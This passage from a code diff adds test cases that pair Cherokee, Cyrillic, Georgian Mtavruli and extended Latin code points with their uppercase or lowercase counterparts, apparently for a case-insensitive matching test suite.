+test(0x13A7, 0xAB77); // CHEROKEE LETTER KA, CHEROKEE SMALL LETTER KA
+test(0x13A8, 0xAB78); // CHEROKEE LETTER GE, CHEROKEE SMALL LETTER GE
+test(0x13A9, 0xAB79); // CHEROKEE LETTER GI, CHEROKEE SMALL LETTER GI
+test(0x13AA, 0xAB7A); // CHEROKEE LETTER GO, CHEROKEE SMALL LETTER GO
+test(0x13AB, 0xAB7B); // CHEROKEE LETTER GU, CHEROKEE SMALL LETTER GU
+test(0x13AC, 0xAB7C); // CHEROKEE LETTER GV, CHEROKEE SMALL LETTER GV
+test(0x13AD, 0xAB7D); // CHEROKEE LETTER HA, CHEROKEE SMALL LETTER HA
+test(0x13AE, 0xAB7E); // CHEROKEE LETTER HE, CHEROKEE SMALL LETTER HE
+test(0x13AF, 0xAB7F); // CHEROKEE LETTER HI, CHEROKEE SMALL LETTER HI
+test(0x13B0, 0xAB80); // CHEROKEE LETTER HO, CHEROKEE SMALL LETTER HO
+test(0x13B1, 0xAB81); // CHEROKEE LETTER HU, CHEROKEE SMALL LETTER HU
+test(0x13B2, 0xAB82); // CHEROKEE LETTER HV, CHEROKEE SMALL LETTER HV
+test(0x13B3, 0xAB83); // CHEROKEE LETTER LA, CHEROKEE SMALL LETTER LA
+test(0x13B4, 0xAB84); // CHEROKEE LETTER LE, CHEROKEE SMALL LETTER LE
+test(0x13B5, 0xAB85); // CHEROKEE LETTER LI, CHEROKEE SMALL LETTER LI
+test(0x13B6, 0xAB86); // CHEROKEE LETTER LO, CHEROKEE SMALL LETTER LO
+test(0x13B7, 0xAB87); // CHEROKEE LETTER LU, CHEROKEE SMALL LETTER LU
+test(0x13B8, 0xAB88); // CHEROKEE LETTER LV, CHEROKEE SMALL LETTER LV
+test(0x13B9, 0xAB89); // CHEROKEE LETTER MA, CHEROKEE SMALL LETTER MA
+test(0x13BA, 0xAB8A); // CHEROKEE LETTER ME, CHEROKEE SMALL LETTER ME
+test(0x13BB, 0xAB8B); // CHEROKEE LETTER MI, CHEROKEE SMALL LETTER MI
+test(0x13BC, 0xAB8C); // CHEROKEE LETTER MO, CHEROKEE SMALL LETTER MO
+test(0x13BD, 0xAB8D); // CHEROKEE LETTER MU, CHEROKEE SMALL LETTER MU
+test(0x13BE, 0xAB8E); // CHEROKEE LETTER NA, CHEROKEE SMALL LETTER NA
+test(0x13BF, 0xAB8F); // CHEROKEE LETTER HNA, CHEROKEE SMALL LETTER HNA
+test(0x13C0, 0xAB90); // CHEROKEE LETTER NAH, CHEROKEE SMALL LETTER NAH
+test(0x13C1, 0xAB91); // CHEROKEE LETTER NE, CHEROKEE SMALL LETTER NE
+test(0x13C2, 0xAB92); // CHEROKEE LETTER NI, CHEROKEE SMALL LETTER NI
+test(0x13C3, 0xAB93); // CHEROKEE LETTER NO, CHEROKEE SMALL LETTER NO
+test(0x13C4, 0xAB94); // CHEROKEE LETTER NU, CHEROKEE SMALL LETTER NU
+test(0x13C5, 0xAB95); // CHEROKEE LETTER NV, CHEROKEE SMALL LETTER NV
+test(0x13C6, 0xAB96); // CHEROKEE LETTER QUA, CHEROKEE SMALL LETTER QUA
+test(0x13C7, 0xAB97); // CHEROKEE LETTER QUE, CHEROKEE SMALL LETTER QUE
+test(0x13C8, 0xAB98); // CHEROKEE LETTER QUI, CHEROKEE SMALL LETTER QUI
+test(0x13C9, 0xAB99); // CHEROKEE LETTER QUO, CHEROKEE SMALL LETTER QUO
+test(0x13CA, 0xAB9A); // CHEROKEE LETTER QUU, CHEROKEE SMALL LETTER QUU
+test(0x13CB, 0xAB9B); // CHEROKEE LETTER QUV, CHEROKEE SMALL LETTER QUV
+test(0x13CC, 0xAB9C); // CHEROKEE LETTER SA, CHEROKEE SMALL LETTER SA
+test(0x13CD, 0xAB9D); // CHEROKEE LETTER S, CHEROKEE SMALL LETTER S
+test(0x13CE, 0xAB9E); // CHEROKEE LETTER SE, CHEROKEE SMALL LETTER SE
+test(0x13CF, 0xAB9F); // CHEROKEE LETTER SI, CHEROKEE SMALL LETTER SI
+test(0x13D0, 0xABA0); // CHEROKEE LETTER SO, CHEROKEE SMALL LETTER SO
+test(0x13D1, 0xABA1); // CHEROKEE LETTER SU, CHEROKEE SMALL LETTER SU
+test(0x13D2, 0xABA2); // CHEROKEE LETTER SV, CHEROKEE SMALL LETTER SV
+test(0x13D3, 0xABA3); // CHEROKEE LETTER DA, CHEROKEE SMALL LETTER DA
+test(0x13D4, 0xABA4); // CHEROKEE LETTER TA, CHEROKEE SMALL LETTER TA
+test(0x13D5, 0xABA5); // CHEROKEE LETTER DE, CHEROKEE SMALL LETTER DE
+test(0x13D6, 0xABA6); // CHEROKEE LETTER TE, CHEROKEE SMALL LETTER TE
+test(0x13D7, 0xABA7); // CHEROKEE LETTER DI, CHEROKEE SMALL LETTER DI
+test(0x13D8, 0xABA8); // CHEROKEE LETTER TI, CHEROKEE SMALL LETTER TI
+test(0x13D9, 0xABA9); // CHEROKEE LETTER DO, CHEROKEE SMALL LETTER DO
+test(0x13DA, 0xABAA); // CHEROKEE LETTER DU, CHEROKEE SMALL LETTER DU
+test(0x13DB, 0xABAB); // CHEROKEE LETTER DV, CHEROKEE SMALL LETTER DV
+test(0x13DC, 0xABAC); // CHEROKEE LETTER DLA, CHEROKEE SMALL LETTER DLA
+test(0x13DD, 0xABAD); // CHEROKEE LETTER TLA, CHEROKEE SMALL LETTER TLA
+test(0x13DE, 0xABAE); // CHEROKEE LETTER TLE, CHEROKEE SMALL LETTER TLE
+test(0x13DF, 0xABAF); // CHEROKEE LETTER TLI, CHEROKEE SMALL LETTER TLI
+test(0x13E0, 0xABB0); // CHEROKEE LETTER TLO, CHEROKEE SMALL LETTER TLO
+test(0x13E1, 0xABB1); // CHEROKEE LETTER TLU, CHEROKEE SMALL LETTER TLU
+test(0x13E2, 0xABB2); // CHEROKEE LETTER TLV, CHEROKEE SMALL LETTER TLV
+test(0x13E3, 0xABB3); // CHEROKEE LETTER TSA, CHEROKEE SMALL LETTER TSA
+test(0x13E4, 0xABB4); // CHEROKEE LETTER TSE, CHEROKEE SMALL LETTER TSE
+test(0x13E5, 0xABB5); // CHEROKEE LETTER TSI, CHEROKEE SMALL LETTER TSI
+test(0x13E6, 0xABB6); // CHEROKEE LETTER TSO, CHEROKEE SMALL LETTER TSO
+test(0x13E7, 0xABB7); // CHEROKEE LETTER TSU, CHEROKEE SMALL LETTER TSU
+test(0x13E8, 0xABB8); // CHEROKEE LETTER TSV, CHEROKEE SMALL LETTER TSV
+test(0x13E9, 0xABB9); // CHEROKEE LETTER WA, CHEROKEE SMALL LETTER WA
+test(0x13EA, 0xABBA); // CHEROKEE LETTER WE, CHEROKEE SMALL LETTER WE
+test(0x13EB, 0xABBB); // CHEROKEE LETTER WI, CHEROKEE SMALL LETTER WI
+test(0x13EC, 0xABBC); // CHEROKEE LETTER WO, CHEROKEE SMALL LETTER WO
+test(0x13ED, 0xABBD); // CHEROKEE LETTER WU, CHEROKEE SMALL LETTER WU
+test(0x13EE, 0xABBE); // CHEROKEE LETTER WV, CHEROKEE SMALL LETTER WV
+test(0x13EF, 0xABBF); // CHEROKEE LETTER YA, CHEROKEE SMALL LETTER YA
+test(0x13F0, 0x13F8); // CHEROKEE LETTER YE, CHEROKEE SMALL LETTER YE
+test(0x13F1, 0x13F9); // CHEROKEE LETTER YI, CHEROKEE SMALL LETTER YI
+test(0x13F2, 0x13FA); // CHEROKEE LETTER YO, CHEROKEE SMALL LETTER YO
+test(0x13F3, 0x13FB); // CHEROKEE LETTER YU, CHEROKEE SMALL LETTER YU
+test(0x13F4, 0x13FC); // CHEROKEE LETTER YV, CHEROKEE SMALL LETTER YV
+test(0x13F5, 0x13FD); // CHEROKEE LETTER MV, CHEROKEE SMALL LETTER MV
+test(0x13F8, 0x13F0); // CHEROKEE SMALL LETTER YE, CHEROKEE LETTER YE
+test(0x13F9, 0x13F1); // CHEROKEE SMALL LETTER YI, CHEROKEE LETTER YI
+test(0x13FA, 0x13F2); // CHEROKEE SMALL LETTER YO, CHEROKEE LETTER YO
+test(0x13FB, 0x13F3); // CHEROKEE SMALL LETTER YU, CHEROKEE LETTER YU
+test(0x13FC, 0x13F4); // CHEROKEE SMALL LETTER YV, CHEROKEE LETTER YV
+test(0x13FD, 0x13F5); // CHEROKEE SMALL LETTER MV, CHEROKEE LETTER MV
+test(0x1C80, 0x0432, 0x0412); // CYRILLIC SMALL LETTER ROUNDED VE, CYRILLIC SMALL LETTER VE, CYRILLIC CAPITAL LETTER VE
+test(0x1C81, 0x0434, 0x0414); // CYRILLIC SMALL LETTER LONG-LEGGED DE, CYRILLIC SMALL LETTER DE, CYRILLIC CAPITAL LETTER DE
+test(0x1C82, 0x043E, 0x041E); // CYRILLIC SMALL LETTER NARROW O, CYRILLIC SMALL LETTER O, CYRILLIC CAPITAL LETTER O
+test(0x1C83, 0x0441, 0x0421); // CYRILLIC SMALL LETTER WIDE ES, CYRILLIC SMALL LETTER ES, CYRILLIC CAPITAL LETTER ES
+test(0x1C84, 0x0442, 0x0422, 0x1C85); // CYRILLIC SMALL LETTER TALL TE, CYRILLIC SMALL LETTER TE, CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER THREE-LEGGED TE
+test(0x1C85, 0x0442, 0x0422, 0x1C84); // CYRILLIC SMALL LETTER THREE-LEGGED TE, CYRILLIC SMALL LETTER TE, CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER TALL TE
+test(0x1C86, 0x044A, 0x042A); // CYRILLIC SMALL LETTER TALL HARD SIGN, CYRILLIC SMALL LETTER HARD SIGN, CYRILLIC CAPITAL LETTER HARD SIGN
+test(0x1C87, 0x0463, 0x0462); // CYRILLIC SMALL LETTER TALL YAT, CYRILLIC SMALL LETTER YAT, CYRILLIC CAPITAL LETTER YAT
+test(0x1C88, 0xA64B, 0xA64A); // CYRILLIC SMALL LETTER UNBLENDED UK, CYRILLIC SMALL LETTER MONOGRAPH UK, CYRILLIC CAPITAL LETTER MONOGRAPH UK
+test(0x1C90, 0x10D0); // GEORGIAN MTAVRULI CAPITAL LETTER AN, GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN)
+test(0x1C91, 0x10D1); // GEORGIAN MTAVRULI CAPITAL LETTER BAN, GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN)
+test(0x1C92, 0x10D2); // GEORGIAN MTAVRULI CAPITAL LETTER GAN, GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN)
+test(0x1C93, 0x10D3); // GEORGIAN MTAVRULI CAPITAL LETTER DON, GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON)
+test(0x1C94, 0x10D4); // GEORGIAN MTAVRULI CAPITAL LETTER EN, GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN)
+test(0x1C95, 0x10D5); // GEORGIAN MTAVRULI CAPITAL LETTER VIN, GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN)
+test(0x1C96, 0x10D6); // GEORGIAN MTAVRULI CAPITAL LETTER ZEN, GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN)
+test(0x1C97, 0x10D7); // GEORGIAN MTAVRULI CAPITAL LETTER TAN, GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN)
+test(0x1C98, 0x10D8); // GEORGIAN MTAVRULI CAPITAL LETTER IN, GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN)
+test(0x1C99, 0x10D9); // GEORGIAN MTAVRULI CAPITAL LETTER KAN, GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN)
+test(0x1C9A, 0x10DA); // GEORGIAN MTAVRULI CAPITAL LETTER LAS, GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS)
+test(0x1C9B, 0x10DB); // GEORGIAN MTAVRULI CAPITAL LETTER MAN, GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN)
+test(0x1C9C, 0x10DC); // GEORGIAN MTAVRULI CAPITAL LETTER NAR, GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR)
+test(0x1C9D, 0x10DD); // GEORGIAN MTAVRULI CAPITAL LETTER ON, GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON)
+test(0x1C9E, 0x10DE); // GEORGIAN MTAVRULI CAPITAL LETTER PAR, GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR)
+test(0x1C9F, 0x10DF); // GEORGIAN MTAVRULI CAPITAL LETTER ZHAR, GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR)
+test(0x1CA0, 0x10E0); // GEORGIAN MTAVRULI CAPITAL LETTER RAE, GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE)
+test(0x1CA1, 0x10E1); // GEORGIAN MTAVRULI CAPITAL LETTER SAN, GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN)
+test(0x1CA2, 0x10E2); // GEORGIAN MTAVRULI CAPITAL LETTER TAR, GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR)
+test(0x1CA3, 0x10E3); // GEORGIAN MTAVRULI CAPITAL LETTER UN, GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN)
+test(0x1CA4, 0x10E4); // GEORGIAN MTAVRULI CAPITAL LETTER PHAR, GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR)
+test(0x1CA5, 0x10E5); // GEORGIAN MTAVRULI CAPITAL LETTER KHAR, GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR)
+test(0x1CA6, 0x10E6); // GEORGIAN MTAVRULI CAPITAL LETTER GHAN, GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN)
+test(0x1CA7, 0x10E7); // GEORGIAN MTAVRULI CAPITAL LETTER QAR, GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR)
+test(0x1CA8, 0x10E8); // GEORGIAN MTAVRULI CAPITAL LETTER SHIN, GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN)
+test(0x1CA9, 0x10E9); // GEORGIAN MTAVRULI CAPITAL LETTER CHIN, GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN)
+test(0x1CAA, 0x10EA); // GEORGIAN MTAVRULI CAPITAL LETTER CAN, GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN)
+test(0x1CAB, 0x10EB); // GEORGIAN MTAVRULI CAPITAL LETTER JIL, GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL)
+test(0x1CAC, 0x10EC); // GEORGIAN MTAVRULI CAPITAL LETTER CIL, GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL)
+test(0x1CAD, 0x10ED); // GEORGIAN MTAVRULI CAPITAL LETTER CHAR, GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR)
+test(0x1CAE, 0x10EE); // GEORGIAN MTAVRULI CAPITAL LETTER XAN, GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN)
+test(0x1CAF, 0x10EF); // GEORGIAN MTAVRULI CAPITAL LETTER JHAN, GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN)
+test(0x1CB0, 0x10F0); // GEORGIAN MTAVRULI CAPITAL LETTER HAE, GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE)
+test(0x1CB1, 0x10F1); // GEORGIAN MTAVRULI CAPITAL LETTER HE, GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE)
+test(0x1CB2, 0x10F2); // GEORGIAN MTAVRULI CAPITAL LETTER HIE, GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE)
+test(0x1CB3, 0x10F3); // GEORGIAN MTAVRULI CAPITAL LETTER WE, GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE)
+test(0x1CB4, 0x10F4); // GEORGIAN MTAVRULI CAPITAL LETTER HAR, GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR)
+test(0x1CB5, 0x10F5); // GEORGIAN MTAVRULI CAPITAL LETTER HOE, GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE)
+test(0x1CB6, 0x10F6); // GEORGIAN MTAVRULI CAPITAL LETTER FI, GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI)
+test(0x1CB7, 0x10F7); // GEORGIAN MTAVRULI CAPITAL LETTER YN, GEORGIAN LETTER YN
+test(0x1CB8, 0x10F8); // GEORGIAN MTAVRULI CAPITAL LETTER ELIFI, GEORGIAN LETTER ELIFI
+test(0x1CB9, 0x10F9); // GEORGIAN MTAVRULI CAPITAL LETTER TURNED GAN, GEORGIAN LETTER TURNED GAN
+test(0x1CBA, 0x10FA); // GEORGIAN MTAVRULI CAPITAL LETTER AIN, GEORGIAN LETTER AIN
+test(0x1CBD, 0x10FD); // GEORGIAN MTAVRULI CAPITAL LETTER AEN, GEORGIAN LETTER AEN
+test(0x1CBE, 0x10FE); // GEORGIAN MTAVRULI CAPITAL LETTER HARD SIGN, GEORGIAN LETTER HARD SIGN
+test(0x1CBF, 0x10FF); // GEORGIAN MTAVRULI CAPITAL LETTER LABIAL SIGN, GEORGIAN LETTER LABIAL SIGN
+test(0x1D79, 0xA77D); // LATIN SMALL LETTER INSULAR G, LATIN CAPITAL LETTER INSULAR G
+test(0x1D7D, 0x2C63); // LATIN SMALL LETTER P WITH STROKE, LATIN CAPITAL LETTER P WITH STROKE
+test(0x1D8E, 0xA7C6); // LATIN SMALL LETTER Z WITH PALATAL HOOK, LATIN CAPITAL LETTER Z WITH PALATAL HOOK
+test(0x1E00, 0x1E01); // LATIN CAPITAL LETTER A WITH RING BELOW, LATIN SMALL LETTER A WITH RING BELOW
+test(0x1E01, 0x1E00); // LATIN SMALL LETTER A WITH RING BELOW, LATIN CAPITAL LETTER A WITH RING BELOW
+test(0x1E02, 0x1E03); // LATIN CAPITAL LETTER B WITH DOT ABOVE, LATIN SMALL LETTER B WITH DOT ABOVE
+test(0x1E03, 0x1E02); // LATIN SMALL LETTER B WITH DOT ABOVE, LATIN CAPITAL LETTER B WITH DOT ABOVE
+test(0x1E04, 0x1E05); // LATIN CAPITAL LETTER B WITH DOT BELOW, LATIN SMALL LETTER B WITH DOT BELOW
+test(0x1E05, 0x1E04); // LATIN SMALL LETTER B WITH DOT BELOW, LATIN CAPITAL LETTER B WITH DOT BELOW
+test(0x1E06, 0x1E07); // LATIN CAPITAL LETTER B WITH LINE BELOW, LATIN SMALL LETTER B WITH LINE BELOW
+test(0x1E07, 0x1E06); // LATIN SMALL LETTER B WITH LINE BELOW, LATIN CAPITAL LETTER B WITH LINE BELOW
+test(0x1E08, 0x1E09); // LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE, LATIN SMALL LETTER C WITH CEDILLA AND ACUTE
+test(0x1E09, 0x1E08); // LATIN SMALL LETTER C WITH CEDILLA AND ACUTE, LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE
+test(0x1E0A, 0x1E0B); // LATIN CAPITAL LETTER D WITH DOT ABOVE, LATIN SMALL LETTER D WITH DOT ABOVE
+test(0x1E0B, 0x1E0A); // LATIN SMALL LETTER D WITH DOT ABOVE, LATIN CAPITAL LETTER D WITH DOT ABOVE
+test(0x1E0C, 0x1E0D); // LATIN CAPITAL LETTER D WITH DOT BELOW, LATIN SMALL LETTER D WITH DOT BELOW
+test(0x1E0D, 0x1E0C); // LATIN SMALL LETTER D WITH DOT BELOW, LATIN CAPITAL LETTER D WITH DOT BELOW
+test(0x1E0E, 0x1E0F); // LATIN CAPITAL LETTER D WITH LINE BELOW, LATIN SMALL LETTER D WITH LINE BELOW
+test(0x1E0F, 0x1E0E); // LATIN SMALL LETTER D WITH LINE BELOW, LATIN CAPITAL LETTER D WITH LINE BELOW
+test(0x1E10, 0x1E11); // LATIN CAPITAL LETTER D WITH CEDILLA, LATIN SMALL LETTER D WITH CEDILLA
+test(0x1E11, 0x1E10); // LATIN SMALL LETTER D WITH CEDILLA, LATIN CAPITAL LETTER D WITH CEDILLA
+test(0x1E12, 0x1E13); // LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW
+test(0x1E13, 0x1E12); // LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW
+test(0x1E14, 0x1E15); // LATIN CAPITAL LETTER E WITH MACRON AND GRAVE, LATIN SMALL LETTER E WITH MACRON AND GRAVE
+test(0x1E15, 0x1E14); // LATIN SMALL LETTER E WITH MACRON AND GRAVE, LATIN CAPITAL LETTER E WITH MACRON AND GRAVE
+test(0x1E16, 0x1E17); // LATIN CAPITAL LETTER E WITH MACRON AND ACUTE, LATIN SMALL LETTER E WITH MACRON AND ACUTE
+test(0x1E17, 0x1E16); // LATIN SMALL LETTER E WITH MACRON AND ACUTE, LATIN CAPITAL LETTER E WITH MACRON AND ACUTE
+test(0x1E18, 0x1E19); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW
+test(0x1E19, 0x1E18); // LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW
+test(0x1E1A, 0x1E1B); // LATIN CAPITAL LETTER E WITH TILDE BELOW, LATIN SMALL LETTER E WITH TILDE BELOW
+test(0x1E1B, 0x1E1A); // LATIN SMALL LETTER E WITH TILDE BELOW, LATIN CAPITAL LETTER E WITH TILDE BELOW
+test(0x1E1C, 0x1E1D); // LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE, LATIN SMALL LETTER E WITH CEDILLA AND BREVE
+test(0x1E1D, 0x1E1C); // LATIN SMALL LETTER E WITH CEDILLA AND BREVE, LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE
+test(0x1E1E, 0x1E1F); // LATIN CAPITAL LETTER F WITH DOT ABOVE, LATIN SMALL LETTER F WITH DOT ABOVE
+test(0x1E1F, 0x1E1E); // LATIN SMALL LETTER F WITH DOT ABOVE, LATIN CAPITAL LETTER F WITH DOT ABOVE
+test(0x1E20, 0x1E21); // LATIN CAPITAL LETTER G WITH MACRON, LATIN SMALL LETTER G WITH MACRON
+test(0x1E21, 0x1E20); // LATIN SMALL LETTER G WITH MACRON, LATIN CAPITAL LETTER G WITH MACRON
+test(0x1E22, 0x1E23); // LATIN CAPITAL LETTER H WITH DOT ABOVE, LATIN SMALL LETTER H WITH DOT ABOVE
+test(0x1E23, 0x1E22); // LATIN SMALL LETTER H WITH DOT ABOVE, LATIN CAPITAL LETTER H WITH DOT ABOVE
+test(0x1E24, 0x1E25); // LATIN CAPITAL LETTER H WITH DOT BELOW, LATIN SMALL LETTER H WITH DOT BELOW
+test(0x1E25, 0x1E24); // LATIN SMALL LETTER H WITH DOT BELOW, LATIN CAPITAL LETTER H WITH DOT BELOW
+test(0x1E26, 0x1E27); // LATIN CAPITAL LETTER H WITH DIAERESIS, LATIN SMALL LETTER H WITH DIAERESIS
+test(0x1E27, 0x1E26); // LATIN SMALL LETTER H WITH DIAERESIS, LATIN CAPITAL LETTER H WITH DIAERESIS
+test(0x1E28, 0x1E29); // LATIN CAPITAL LETTER H WITH CEDILLA, LATIN SMALL LETTER H WITH CEDILLA
+test(0x1E29, 0x1E28); // LATIN SMALL LETTER H WITH CEDILLA, LATIN CAPITAL LETTER H WITH CEDILLA
+test(0x1E2A, 0x1E2B); // LATIN CAPITAL LETTER H WITH BREVE BELOW, LATIN SMALL LETTER H WITH BREVE BELOW
+test(0x1E2B, 0x1E2A); // LATIN SMALL LETTER H WITH BREVE BELOW, LATIN CAPITAL LETTER H WITH BREVE BELOW
+test(0x1E2C, 0x1E2D); // LATIN CAPITAL LETTER I WITH TILDE BELOW, LATIN SMALL LETTER I WITH TILDE BELOW
+test(0x1E2D, 0x1E2C); // LATIN SMALL LETTER I WITH TILDE BELOW, LATIN CAPITAL LETTER I WITH TILDE BELOW
+test(0x1E2E, 0x1E2F); // LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE, LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE
+test(0x1E2F, 0x1E2E); // LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE, LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE
+test(0x1E30, 0x1E31); // LATIN CAPITAL LETTER K WITH ACUTE, LATIN SMALL LETTER K WITH ACUTE
+test(0x1E31, 0x1E30); // LATIN SMALL LETTER K WITH ACUTE, LATIN CAPITAL LETTER K WITH ACUTE
+test(0x1E32, 0x1E33); // LATIN CAPITAL LETTER K WITH DOT BELOW, LATIN SMALL LETTER K WITH DOT BELOW
+test(0x1E33, 0x1E32); // LATIN SMALL LETTER K WITH DOT BELOW, LATIN CAPITAL LETTER K WITH DOT BELOW
+test(0x1E34, 0x1E35); // LATIN CAPITAL LETTER K WITH LINE BELOW, LATIN SMALL LETTER K WITH LINE BELOW
+test(0x1E35, 0x1E34); // LATIN SMALL LETTER K WITH LINE BELOW, LATIN CAPITAL LETTER K WITH LINE BELOW
+test(0x1E36, 0x1E37); // LATIN CAPITAL LETTER L WITH DOT BELOW, LATIN SMALL LETTER L WITH DOT BELOW
+test(0x1E37, 0x1E36); // LATIN SMALL LETTER L WITH DOT BELOW, LATIN CAPITAL LETTER L WITH DOT BELOW
+test(0x1E38, 0x1E39); // LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON, LATIN SMALL LETTER L WITH DOT BELOW AND MACRON
+test(0x1E39, 0x1E38); // LATIN SMALL LETTER L WITH DOT BELOW AND MACRON, LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON
+test(0x1E3A, 0x1E3B); // LATIN CAPITAL LETTER L WITH LINE BELOW, LATIN SMALL LETTER L WITH LINE BELOW
+test(0x1E3B, 0x1E3A); // LATIN SMALL LETTER L WITH LINE BELOW, LATIN CAPITAL LETTER L WITH LINE BELOW
+test(0x1E3C, 0x1E3D); // LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW
+test(0x1E3D, 0x1E3C); // LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW
+test(0x1E3E, 0x1E3F); // LATIN CAPITAL LETTER M WITH ACUTE, LATIN SMALL LETTER M WITH ACUTE
+test(0x1E3F, 0x1E3E); // LATIN SMALL LETTER M WITH ACUTE, LATIN CAPITAL LETTER M WITH ACUTE
+test(0x1E40, 0x1E41); // LATIN CAPITAL LETTER M WITH DOT ABOVE, LATIN SMALL LETTER M WITH DOT ABOVE
+test(0x1E41, 0x1E40); // LATIN SMALL LETTER M WITH DOT ABOVE, LATIN CAPITAL LETTER M WITH DOT ABOVE
+test(0x1E42, 0x1E43); // LATIN CAPITAL LETTER M WITH DOT BELOW, LATIN SMALL LETTER M WITH DOT BELOW
+test(0x1E43, 0x1E42); // LATIN SMALL LETTER M WITH DOT BELOW, LATIN CAPITAL LETTER M WITH DOT BELOW
+test(0x1E44, 0x1E45); // LATIN CAPITAL LETTER N WITH DOT ABOVE, LATIN SMALL LETTER N WITH DOT ABOVE
+test(0x1E45, 0x1E44); // LATIN SMALL LETTER N WITH DOT ABOVE, LATIN CAPITAL LETTER N WITH DOT ABOVE
+test(0x1E46, 0x1E47); // LATIN CAPITAL LETTER N WITH DOT BELOW, LATIN SMALL LETTER N WITH DOT BELOW
+test(0x1E47, 0x1E46); // LATIN SMALL LETTER N WITH DOT BELOW, LATIN CAPITAL LETTER N WITH DOT BELOW
+test(0x1E48, 0x1E49); // LATIN CAPITAL LETTER N WITH LINE BELOW, LATIN SMALL LETTER N WITH LINE BELOW
+test(0x1E49, 0x1E48); // LATIN SMALL LETTER N WITH LINE BELOW, LATIN CAPITAL LETTER N WITH LINE BELOW
+test(0x1E4A, 0x1E4B); // LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW
+test(0x1E4B, 0x1E4A); // LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW
+test(0x1E4C, 0x1E4D); // LATIN CAPITAL LETTER O WITH TILDE AND ACUTE, LATIN SMALL LETTER O WITH TILDE AND ACUTE
+test(0x1E4D, 0x1E4C); // LATIN SMALL LETTER O WITH TILDE AND ACUTE, LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
+test(0x1E4E, 0x1E4F); // LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS, LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
+test(0x1E4F, 0x1E4E); // LATIN SMALL LETTER O WITH TILDE AND DIAERESIS, LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
+test(0x1E50, 0x1E51); // LATIN CAPITAL LETTER O WITH MACRON AND GRAVE, LATIN SMALL LETTER O WITH MACRON AND GRAVE
+test(0x1E51, 0x1E50); // LATIN SMALL LETTER O WITH MACRON AND GRAVE, LATIN CAPITAL LETTER O WITH MACRON AND GRAVE
+test(0x1E52, 0x1E53); // LATIN CAPITAL LETTER O WITH MACRON AND ACUTE, LATIN SMALL LETTER O WITH MACRON AND ACUTE
+test(0x1E53, 0x1E52); // LATIN SMALL LETTER O WITH MACRON AND ACUTE, LATIN CAPITAL LETTER O WITH MACRON AND ACUTE
+test(0x1E54, 0x1E55); // LATIN CAPITAL LETTER P WITH ACUTE, LATIN SMALL LETTER P WITH ACUTE
+test(0x1E55, 0x1E54); // LATIN SMALL LETTER P WITH ACUTE, LATIN CAPITAL LETTER P WITH ACUTE
